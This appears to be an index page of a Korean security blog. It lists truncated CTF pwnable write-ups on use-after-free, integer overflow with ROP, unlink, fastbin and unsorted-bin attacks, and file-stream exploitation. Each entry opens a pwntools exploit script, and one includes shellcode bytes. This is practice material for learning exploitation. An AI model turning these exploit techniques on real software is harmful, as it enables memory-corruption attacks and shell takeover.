목록Lab (221)
cdor1's lab
후기 : free후 같은크기 재할당을 통해 함수포인터를 덮어 익스플로잇하는 uaf 문제였다. from pwn import * s = remote('localhost', 4000) print s.recvuntil('0x') leak = int(s.recvuntil('\n')[:-1],16) log.info('leak : ' + hex(leak)) print s.recvuntil('>>> ') s.sendline('4') print s.recvuntil('Do You Want To Exit?') s.sendline('7') print s.recvuntil('>>> ') s.sendline('3') payload = p32(leak + 4) payload += '\x31\xc0\x89\xc2\x50\x68\x..
후기 : 인티져 오버플로우와 rop를 이용한 문제였다. 공개된 2가지 bob ctf포너블 문제들을 모두 풀어보았는데 풀고나니 더더욱 비오비 6기가 되고싶은 마음이 커졌다. 이렇게 int형 변수로 입력 받고 직접적으로 +=혹은 -=연산을 하는 바이너리들은 거의 인티져 오버플로우를 허용하는 문제들 같다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/casino') gets_plt = elf.plt['gets'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] exit_got = elf.got['exit'] def earn(money, num): print s.rec..
후기 : 내부에서 플래그를 읽어와 .bss섹션에 저장하는 변수가 있고 오버플로우 백터가 있다. read에서 널바이트를 검사해 삭제하니 입력받을때 맨 마지막에 붙여서 들어가는 '\x00'를 이용해서 argv[0]포인터를 전부 널로 정리하고 플래그 주소로 덮어써서 *** stack smashing detected ***: ./checker terminated -> *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated 이렇게 만드는 재밌는 문제였다 ㅎ from pwn import * s = remote('checker.pwn.seccon.jp', 14726) print s.recvuntil('NAME : ') s.sen..
후기 : 이전에 푼 문제보다 난이도가 훨~씬 쉽지만 생각보다 필요한 문제를 발견한것 같다. 나중에 pwnable을 처음 공부하는 친구한테 use after free에 대해서 설명해줄 때 이 문제를 꼭 보여줘야지 from pwn import * s = remote('localhost', 4000) def create(name,price): print s.recvuntil('Input:') s.sendline('1') print s.recvuntil('name:') s.sendline(name) print s.recvuntil('price:') s.sendline(str(price)) def remove(name): print s.recvuntil('Input:') s.sendline('2') print s..
내가 만든 문젠데 너무 어리바리 대답해서 질문오는분들께 죄송했다.... 구조체로 구현한 double-linked-list에서 unlink연산을 이용해 arbitrary memory overwrite을 해 쉘을 얻어내는 문제인데 bss영역에 마침 malloc pointer들이 나열되어 있으므로 이곳에 unlink 연산을 이용해 got를 써넣고 modify 메뉴로 got를 oneshot 가젯으로 덮어서 익스플로잇 하면 되는 문제이다. (문제 풀어주신분들 감사합니다 ㅎㅎ) from pwn import * s = remote('52.199.49.117' ,10006) elf = ELF('/home/cdor1/pwnable/train_busan') def add(data): print s.recvuntil('5...
후기 : 짱어렵다.. file pointer를 덮어써서 malloc 커럽션날때 불러오는 구조체를 overwrite해서 공격하는 것도 그렇고 free가 없어서 top chunk의 크기를 overwrite한 뒤 이를 연계해 sysmalloc이 old_top을 free하는 방법으로 libc와 heap address를 leak해내는 것도 있었다. 점점 내가 생각했던 레벨보다 점점 더 로우레벨단에서 익스플로잇이 진행되는 것 같다... free가 없으면 만들어서 공격하고... 이렇게 file pointer를 건들여서 쉘을 얻는 방법을 File Stream Oriented Programming이라 하는데 pie와 full relro가 걸려있는 프로그램에서는 이 기법을 많이 사용하는 것 같으니 이 방법에 대해서도 많이..
후기 : fastbin이 free된 이전 chunk의 주소를 가져온다는 점을 이용해 익스플로잇하는 매우 재밌는 문제였다. 처음에 bss영역에 할당받는 곳을 이용해서 fake chunk를 만들고, 그곳으로 malloc이 할당하는 포인터를 돌려 got를 덮고 익스플로잇했다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/shaxian') def start(address, num): print s.recvuntil('Your Address:') s.sendline(address) print s.recvuntil('Your Phone number:') s.sendline(num) def malloc(payload): ..
후기 : unsorted bin attack을 사용해서 건들수 없는 변수를 덮고, 그걸 이용해서 rop하는 문제다. 다른분들은 fastbin을 이용해서 푸셨다고 하는데 상준이형의 의도대로 unsorted bin attack을 이용해서 풀었다 ㅎ 저번에 풀었던 remuheap은 낙현이 문제, whoissolo는 상준이형 문제로 풀어봤는데 나두 이 문제들처럼 깔끔하고 재밌는 문제들 만들 수 있도록 노력해야겠다. from pwn import * s = remote('localhost', 4001) elf = ELF('/home/cdor1/pwnable/solo') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] def malloc(num, size, data):..
후기 : Ubuntu16.04에서 fgets로 입력하게되면 힙에도 동시에 버퍼가 생성되는데 이를 이용한 재밌는 문제였다. 눈으로 그냥 봤을때는 malloc을 어떤 크기로 하든지 내용 입력값을 4095바이트를 받아서 생기는 unexploitable한 취약점밖에 보이지 않는데 이렇게 fgets를 이용해 힙에 데이터를 쓸 수 있다는것을 알아 이런 재미있는 문제를 풀어볼 수 있었다. 공부하자. 공부하면 걸어가다가도 떡이 생길 것 같다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/remuheap') def malloc(size, data): print s.recvuntil('> ') s.sendline('1') pr..
후기 : HITCON 2번째 Holder시리즈인 SleepyHolder이다.SecretHolder와 다른점이 있다면 largechunk를 한번밖에 할당 못한다는 것?1번밖에 할당을 못해주므로 예전에 포스팅했던 fastbin consolidate를 사용해서 dfb를 트리거했다.이렇게 심플하면서도 큰 교훈을 주는 문제들이 참 좋다. ㅎ (낙현이도 공감했답니다) from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/SleepyHolder') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] free_got = elf.got['free'] def keep(num, content)..